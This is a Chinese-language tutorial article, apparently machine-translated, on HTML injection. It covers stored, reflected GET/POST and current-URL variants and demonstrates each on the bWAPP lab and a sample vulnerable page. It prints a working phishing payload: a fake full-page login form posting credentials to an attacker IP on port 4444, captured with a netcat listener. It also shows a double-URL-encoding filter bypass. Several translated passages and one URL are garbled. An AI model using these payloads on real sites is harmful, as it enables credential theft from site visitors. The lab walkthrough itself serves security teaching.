前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HTML注入综合指南

HTML注入综合指南

原创
作者头像
竹紫
发布2022-04-08 20:10:33
3.6K3
发布2022-04-08 20:10:33
举报

HTML注入综合指南

**“ HTML”***被视为每个Web应用程序的***框架***,因为它定义了托管内容的结构和完整状态。*那么,你是否想过,是否用一些简单的脚本破坏了这种结构?还是这种结构本身成为Web应用程序损坏的原因?今天,在本文中,我们将学习如何**配置错误的HTML代码**,为攻击者从用户那里获取**敏感数据**。

表中的内容

  • 什么是HTML?
  • HTML注入简介
  • HTML注入的影响
  • HTML注入v / s XSS
  • 注射类型
  • 储存的HTML
  • 反映的HTML
  • 反映GET
  • 反映后
  • 反映的当前URL

什么是HTML?

**HTML**是其中确定所述web页面上的web应用程序的形成的基本构建块。HTML用于设计包含**“超文本”的**网站,以便将“文本包含在文本中”作为超链接,并包含包裹数据项以在浏览器中显示的**元素**组合。

*那么这些元素是什么?*

“元素是HTML页面的所有内容,即,它包含**开始**和**结束标记**以及介于两者之间的**文本内容**。”

图片
图片

HTML标签

HTML标签标记了内容片段,例如“标题”,“段落”,“表单”等。它们是由包围的元素名称**尖括号**和两种类型的-的“开始标记”,也称为**开口标签**和“结束标记”简称为**所述闭合一个**。浏览器不显示这些HTML标记,而是利用它们来捕获网页的内容。

HTML属性

为了向元素提供一些额外的信息,我们使用**属性,**它们位于*start标记*内,并以**“名称/值”**对的形式出现,以便**属性名称**后跟“等号”和**属性值**包含在“引号”中。

1<a href = "http://hackingarticles.in">Hacking Articles </a>

在这里,*“ href”*是**“属性名称”**,“ *http:// hackingarticles”*是**“属性值”。**

现在我们知道了基本的HTML术语,让我们查看**“ HTML元素流程图”**,然后将进一步尝试全部实现它们以创建一个简单的网页。

图片
图片

基本HTML页面:

互联网上的每个网页都在某个地方或另一个HTML文件中。这些文件不过是带有**“** **.html** **”**扩展名的简单纯文本文件,它们是通过Web浏览器保存并执行的。

因此,让我们尝试在记事本中创建一个简单的网页并将其另存为**hack.html:**

代码语言:txt
复制
<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=”Hacking Articles - Raj Chandel's Blog”>HACKING ARTILCES </a></h2><br><p>Author “Raj Chandel”</p></center></body></html>

让我们在浏览器中执行这个**“ hack.html”**文件,看看我们开发了什么。

图片
图片

我们已经成功设计了我们的第一个网页。但是这些标签如何为我们工作,让我们看看它们:

  • **<HTML>**元素是每个HTML页的根元素。
  • **<HEAD>**确定关于文件的头信息。
  • **<TITLE>**元素指定的网页的标题。
  • **<BODY>**元素包含具有可见页面内容*“BGCOLOR”*作为作为属性*“粉红色”* *。*
  • 的 **<H1>**元素定义了一个大的标题。
  • 的 **<P>**元素定义了一个段落
  • 该**<A>**定义了锚标记,这有助于我们建立的*“超链接”*。

我想您现在对“ HTML是什么及其主要用途”和“我们如何实现这一切”一清二楚。因此,让我们尝试找出主要漏洞,并了解攻击者如何将任意HTML代码注入易受攻击的网页中,以修改托管内容。

HTML注入简介

HTML注入是当网页无法清理用户提供的输入或验证输出时出现的最简单,最常见的漏洞之一,从而使攻击者能够制作有效载荷并通过易受攻击的字段将恶意HTML代码注入应用程序中,以便他可以修改网页内容,甚至获取一些敏感数据。

让我们看一下这种情况,并了解如何执行此类HTML注入攻击:

*考虑一个遭受HTML注入漏洞并且不验证任何特定输入的Web应用程序。因此,攻击者发现了这一点,并向其注入了带有***“免费电影票”***诱饵的恶意***“ HTML登录表单”***,以诱骗受害者提交其敏感的凭据。*

*现在,当受害者浏览该特定网页时,他发现可以使用那些***“免费电影票”了。***当他单击它时,他会看到该应用程序的登录屏幕,这只是攻击者精心制作的***“ HTML表单”。***因此,攻击者一输入凭据,便会通过其侦听器捕获所有凭据,从而导致受害者破坏其数据。*

图片
图片

HTML注入的影响

如果未正确清理网页中的输入字段,则有时此HTML注入漏洞可能导致我们遭受**跨站点脚本(XSS)**或**服务器端请求伪造(SSRF)攻击。**因此,该漏洞的**严重等级**为“ **中等”**,而其**“ CVSS得分为5.3”则报告**为:

  1. **CWE-80:**网页中与脚本相关的HTML标记的不正确中和。
  2. **CWE-79:**网页生成期间输入的不正确中和。

HTML注入v / s XSS

在此类攻击期间,我们有机会免于执行**HTML注入**攻击,但由于XHTML注入与跨站点脚本几乎相似,因此我们放弃了**XSS**。但是,如果我们仔细观察两者之间的距离,我们会注意到,在**XSS攻击**期间,攻击者有机会注入并执行**Javascript代码,**而在**HTML** **注入中,**他/她势必会使用某些**HTML标签**来破坏该网页。

现在,让我们深入研究不同的HTML注入攻击,并查看异常方式如何破坏网页并捕获受害者的凭据。

储存的HTML

一个**“保存HTML”**也被称为**“** **持久性”**,因为通过这个漏洞注入恶意脚本获取Web应用程序服务器中永久保存,当他参观注入网页应用服务器进一步降低它返回给用户。但是,当客户端单击*显示为网站官方部分的*有效负载时,注入的HTML代码将由浏览器执行。

**存储HTML**的最常见示例是博客中的**“评论选项”**,它允许任何用户以管理员或其他用户的评论形式输入其反馈。

现在,让我们尝试利用此存储的HTML漏洞并获取一些凭据。

利用存储的HTML

我已经在浏览器中打开了目标IP并以**蜜蜂:bug的**身份登录BWAPP ,此外,我已将**“选择错误”**选项设置为**“** **HTML注入-已存储(博客)”**,并启动了**hack** **按钮。**

现在,我们将被重定向到遭受**HTML注入漏洞的**网页,该**漏洞**使用户可以在屏幕快照中将其条目提交到博客中。

最初,我们将通过**“ bee”**生成一个正常的用户条目,作为“ Hacking Articles”,以确认输入数据已成功存储在Web服务器的数据库中,因此可以在“ **Entry字段”中**看到**。**

图片
图片

现在,让我们尝试注入恶意负载,该负载将在此目标网页上**创建***虚假的用户***登录表单**,从而将捕获的请求转发到**我们的IP上**。

在给定的文本区域内输入以下HTML代码,以设置HTML攻击。

代码语言:txt
复制
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid 

credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">

<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>

<td><input type="text" name="password"/></td></tr><tr>

<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>

</table></form>
图片
图片

从下图可以看到,当我单击“提交”按钮时,新的登录表单已显示在网页上方。因此,此登录表单现在已存储到应用程序的Web服务器中,每当受害者访问此恶意登录页面时,该服务器都会呈现该登录表单,他将始终拥有该表单,对他而言看起来很正式。

图片
图片

因此,现在让我们在端口**4444上**启用我们的**netcat侦听器**, 以捕获受害者的请求。

1nc –lvp 4444

尽管需要等待,但要等到受害者将页面引导至浏览器并输入其凭据时为止。

图片
图片

从上面的图像中,您可以看到用户**“ Raj”**打开了网页,并尝试以**raj:123的**身份登录内部**。**

因此,让我们回到**侦听器**并检查是否在响应中捕获了凭据。

从下图可以看到,我们已经成功获取了凭据。

图片
图片

反映的HTML

该**反映HTML**也被称为**“** **非持久性”**时,立即对用户的输入,而不用验证用户输入的内容的Web应用程序响应,这可能会导致单个HTML响应内部的攻击者注入浏览器可执行代码的发生。它被称为**“非持久性”,**因为恶意脚本没有存储在Web服务器中,因此攻击者需要通过网络钓鱼发送恶意链接来诱捕用户。

在**网站的搜索引擎中**可以轻松找到反射的HTML漏洞:攻击者在这里在搜索文本框中编写了一些任意HTML代码,如果网站容易受到攻击*,结果页面将作为对这些HTML实体的响应而返回。*

反映HTML基本上分为三种类型:

  • **反映HTML GET**
  • **反映的HTML POST**
  • **反映的HTML当前URL**

在利用Reflected HTML实验室弄湿之前,让我们回想一下–使用GET方法,我们从特定来源**请求数据**,而POST方法用于**将数据发送到服务器**以创建/更新资源。

反映HTML GET

在这里,我们创建了一个网页,从而允许用户使用其“名称”提交“反馈”。

因此,当用户**“ Raj Chandel”**将其反馈提交为**“ Good”时**,将出现一条消息,提示为**“感谢Raj Chandel宝贵的时间。”**

图片
图片

因此,此即时响应和URL中的*“名称/值”*对表明,此页面可能容易受到**HTML注入的**攻击,并且已通过**GET**方法请求了数据。

因此,现在让我们尝试将一些HTML代码注入此“表单”中,以便对其进行确认。在“名称”字段中键入以下脚本,如下所示:

1<h1>Raj Chandel</h1>

并将**“**反馈**”**设置为**“良好”**

从下图可以看到,用户名**“ Raj Chandel”**已被修改为标题,如响应消息中所示。

图片
图片

不知道为什么这一切都会发生,让我们检查以下代码片段。

图片
图片

用的放心,以反映该**消息**在屏幕上,开发商没有设置任何输入验证即他只是**“回声”**的*“谢谢消息”*通过包含了通过输入名称**“$ _GET”**变量。

*“有时开发人员会在输入字段中设置一些验证,从而将我们的***HTML代码***重新呈现到屏幕上而不会被渲染。”*

从下图可以看到,当我尝试在**name字段中**执行HTML代码时,它会以纯文本的形式将其放回:

图片
图片

那么,该漏洞是否已在此处修补?

让我们通过帮助手“ burpsuite” 捕获其**传出的请求**来检查所有情况,并将捕获的请求直接发送到**“ Repeater”**选项卡**。**

图片
图片

在“ Repeater”选项卡中,当我单击**“ Go”**按钮以检查生成的**响应时,**我发现我的HTML实体已在此处**解码**为**HTML**:

图片
图片

因此,我处理了完整的HTML代码**“ <a href = http://hackingarticles.in"> <h2> Raj </ h2> </a>”,** 并将其全部粘贴到“ **解码器”选项卡中。**我单击了**“编码为”,**并选择了**URL** 1。

获得编码输出后,我们将再次在**URL**的**“编码为”中对其**进行设置,以使其获得**双URL编码**格式。

图片
图片

现在让我们尝试一下,*复制完整的双重编码的URL,然后将其粘贴到***Request***选项的***Repeater选项卡***中的***“ name =”***字段中。*

单击“执行**”**按钮以检查其生成的**响应。**

从下图可以看到,我们已经成功地操纵了**响应。**

图片
图片

现在,只需在“ **代理”**选项卡中进行类似的修改,然后单击**“转发”**按钮即可。从下图可以看到,我们也通过其验证字段破坏了此网页。

图片
图片

让我们检查一下代码片段,看看开发人员在哪里进行了输入验证:

从下图可以看到,在这里,开发人员对变量**数据**进行了**“破解”**,甚至将**“ <”**和**“>”**解码为**“&lt;”。**和**“&gt;”** 为**$数据**和**$输入**分别**,**进一步他使用内置的PHP函数**urldecode**超过了**$输入** 到解码最多的URL。

图片
图片

从下面的图像中,您可以看到开发人员在**名称**字段上实现了功能**破解**。

图片
图片

反映的HTML POST

类似于“获取网页”,这里的**“名称”**和**“反馈”**字段也很容易受到攻击,因为已经实现了**POST方法**,因此表单数据将不会显示在URL中。

让我们尝试再次破坏此网页的外观,但这一次我们将添加图片而不是静态文本作为

1<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

从下图可以看到,**“ Ignite技术徽标”**已放置在屏幕上方,因此攻击者甚至可以注入其他媒体格式,例如视频,音频或Gif。

图片
图片

反映的HTML当前URL

*网页上没有输入字段时,Web应用程序是否容易受到HTML注入的攻击?*

是的,没有必要像**注释框**或**搜索框**那样输入文件,*某些应用程序会在其网页上显示您的URL,*并且它们可能容易受到HTML注入的影响,因为在这种情况下,**URL**充当其输入字段。

图片
图片

从上面的图像中,您可以看到**当前URL**在网页上显示为**“** **h吗ttp://192.168.0.16/hack/html_URL.php**]1(h黑ttp://192.168.0.1马赛克6/hack/html%255C_URL.php%255C%255C) **”。**因此,让我们接管这一优势,看看我们可以得到什么。

调整您的**“ burpsuite”**并捕获正在进行的**HTTP请求**

图片
图片

现在让我们使用以下命令处理此请求:

1/hack/html_URL.php/<h1>Hey_are_you_there?</h1>

单击**前进**按钮以在浏览器上检查结果。

图片
图片

从下图可以看到,只需将所需的HTML代码注入Web应用程序的URL中,我们就成功地破坏了网站的形象。

图片
图片

让我们看一下它的代码,看看开发人员如何在屏幕上获取当前URL。

在这里,开发人员使用PHP全局变量作为**$ _SERVER**来捕获当前页面URL。此外,他用“ HTTP_HOST”修改了主机名,并用“ REQUEST_URI”修改了URL的请求资源位置,并将其全部放在**$ url**变量中。

图片
图片

进入HTML部分,他只是使用**$ url**变量设置了**echo**,而没有任何特定的验证,以便显示带有URL的消息。

图片
图片

缓解步骤

  • 开发人员应该设置他的HTML脚本,该脚本可以过滤用户输入中的元字符。
  • 开发人员应实施一些功能来验证用户输入

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HTML注入综合指南
    • 表中的内容
      • 什么是HTML?
        • HTML标签
          • HTML属性
            • 基本HTML页面:
              • HTML注入简介
                • HTML注入的影响
                  • HTML注入v / s XSS
                    • 储存的HTML
                      • 利用存储的HTML
                        • 反映的HTML
                          • 反映HTML GET
                            • 反映的HTML POST
                              • 反映的HTML当前URL
                                • 缓解步骤
                                领券
                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
                                http://www.vxiaotou.com